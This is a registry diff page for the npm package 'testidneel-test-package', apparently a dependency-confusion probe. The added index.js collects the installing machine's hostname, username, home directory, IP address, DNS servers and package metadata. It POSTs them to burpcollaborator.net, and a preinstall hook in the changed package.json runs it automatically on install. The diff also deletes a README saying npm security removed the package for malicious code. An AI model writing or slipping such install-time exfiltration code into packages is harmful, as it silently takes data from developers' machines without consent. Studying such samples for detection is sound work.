testidneel-test-package 0.0.1-security → 0.0.12
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of testidneel-test-package might be problematic. Click here for more details.
- package/index.js +60 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,60 @@
|
|
1
|
+
// author: whitehacker003@protonmail.com
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const packageName = packageJSON.name;
|
8
|
+
|
9
|
+
// Resolve IP address
|
10
|
+
dns.lookup(os.hostname(), (err, ipAddress) => {
|
11
|
+
if (err) {
|
12
|
+
console.error(`Error resolving IP address: ${err.message}`);
|
13
|
+
return;
|
14
|
+
}
|
15
|
+
|
16
|
+
// Prepare tracking data with the resolved IP address
|
17
|
+
const trackingData = JSON.stringify({
|
18
|
+
p: packageName,
|
19
|
+
c: __dirname,
|
20
|
+
hd: os.homedir(),
|
21
|
+
hn: os.hostname(),
|
22
|
+
ip: ipAddress, // Include the resolved IP address
|
23
|
+
un: os.userInfo().username,
|
24
|
+
dns: dns.getServers(),
|
25
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
26
|
+
v: packageJSON.version,
|
27
|
+
pjson: packageJSON,
|
28
|
+
});
|
29
|
+
|
30
|
+
// Prepare the POST data
|
31
|
+
const postData = querystring.stringify({
|
32
|
+
msg: trackingData,
|
33
|
+
});
|
34
|
+
|
35
|
+
// Configure the HTTPS request
|
36
|
+
const options = {
|
37
|
+
hostname: "burpcollaborator.net", // Replace with Interactsh or Pipedream if needed
|
38
|
+
port: 443,
|
39
|
+
path: "/",
|
40
|
+
method: "POST",
|
41
|
+
headers: {
|
42
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
43
|
+
"Content-Length": postData.length,
|
44
|
+
},
|
45
|
+
};
|
46
|
+
|
47
|
+
// Send the HTTPS request
|
48
|
+
const req = https.request(options, (res) => {
|
49
|
+
res.on("data", (d) => {
|
50
|
+
process.stdout.write(d);
|
51
|
+
});
|
52
|
+
});
|
53
|
+
|
54
|
+
req.on("error", (e) => {
|
55
|
+
console.error(`Request error: ${e.message}`);
|
56
|
+
});
|
57
|
+
|
58
|
+
req.write(postData);
|
59
|
+
req.end();
|
60
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "testidneel-test-package",
|
3
|
-
"version": "0.0.
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "0.0.12",
|
4
|
+
"description": "H1 testing, deere",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=testidneel-test-package for more information.
|